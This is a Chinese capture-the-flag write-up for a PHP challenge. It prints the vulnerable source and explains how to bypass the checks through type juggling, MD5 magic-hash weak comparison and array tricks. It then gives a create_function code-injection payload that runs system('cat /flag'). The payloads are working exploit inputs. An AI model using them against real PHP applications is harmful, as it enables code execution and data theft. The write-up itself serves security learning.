[NSSRound#16 Basic]了解过PHP特性吗
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
intval()函数用于将变量转换为整数类型。
strrev() 函数反转字符串。
ctype_alpha()检测字符是否都是字母。
is_numeric()检测变量是否为数字或数字字符串。
分析
- 当num是一个数组时,preg_match会将它转化为bool类型,而使整个句子返回false;
- intval当遇到非空数组时,会返回true
- 弱比较MD5绕过,注意传参的时候要逆序
- strrev — 反转字符串
- ctype_alpha — 检测所有字符是否都是字母
- intval($ _114) > 114514 && strlen( $_114) <= 3 可以使用科学计数法绕过
- !is_numeric($_514) && $_514 > 9999999添加字母绕过
- arr4y要求不能存在NSS字符串。search默认第三个参数是false类型。弱比较,输入0,NSS0,NSS1都行。
http://node4.anna.nssctf.cn:28285/?num[]=aaa&114=9e9
514=9999999999aaa&ctype=OZDCKNQ&is_num=807016042&arr4y[]=a
然后提示去next: Rc3_function.php
<?php
error_reporting(0);
highlight_file( FiLE );
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
是create_function注入
shell=&nss=1;}system("cat /flag");/*
参考WP:https://www.cnblogs.com/ForBreeze/p/17972192#_label1